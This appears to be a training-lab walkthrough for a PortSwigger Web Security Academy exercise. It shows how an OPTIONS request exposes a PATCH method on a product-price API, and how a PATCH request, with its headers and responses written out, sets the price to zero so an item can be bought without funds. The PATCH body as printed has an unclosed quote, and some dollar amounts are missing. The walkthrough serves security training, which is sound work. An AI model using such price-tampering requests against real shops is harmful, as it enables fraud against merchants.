> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/web/api-testing/discovery-and-exploitation-of-an-unused-api-endpoint.md).
# Discovery and Exploitation of an Unused API Endpoint
Discovery and Exploitation of an Unused API Endpoint notes for PortSwigger Web Security Academy labs, including exploitation workflow, payload testing, Burp Suite validation, and remediation context.
### Finding and Exploiting an Unused API Endpoint
The objective of this lab is to operate a hidden API endpoint to buy a **Lightweight l33t Leather Jacket** without sufficient funds. / Authentication is done with the following credentials:
* **User**: wiener
* **Password**: peter
Once logged in, the account balance is **$**.
#### Analysis of Application Behaviour
When consulting the product, the application sends in the background an API request to recover its price.
**Request used to display the price**
```bash
GET /api/products/1/price
```
**Server response**
{% code overflow="wrap" %}
```json
{
"price":"$1337.00",
"message":"🔥 21 left in stock, purchase quick! 🔥"
}
```
{% endcode %}
#### Identification of Available HTTP Methods
A **OPTIONS** request is sent to identify the permitted methods on this endpoint.
**Request OPTIONS**
```bash
OPTIONS /api/products/1/price
```
**Answer**
The server indicates that the following methods are allowed:
* GET
* PATCH
This suggests that it is possible to **modify** the price of the product via a PATCH request.
#### Price Modification via PATCH
We then try to update the price of the product by sending a PATCH request with a JSON body.
**PATCH Request**
```http
PATCH /api/products/1/price
Host: 0abf000d04bd41568210d495001c000a.web-security-academy.net
Cookie: session=Ts7jyHfXOEyXqURmpAKf0SgO8DjhQYol
Content-Type: application/json
Content-Length: 22
{
"price": "0
}
```
**Server response**
```http
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Frame-Options: SAMEORIGIN
Content-Length: 17
{
"price":"$0.00"
}
```
The price of the product is now set at **$**.
#### Product Purchase
Once the price is changed, it is possible to purchase the **Lightweight l33t Leather Jacket** despite the lack of credit in the account, which allows the lab to be validated.
---
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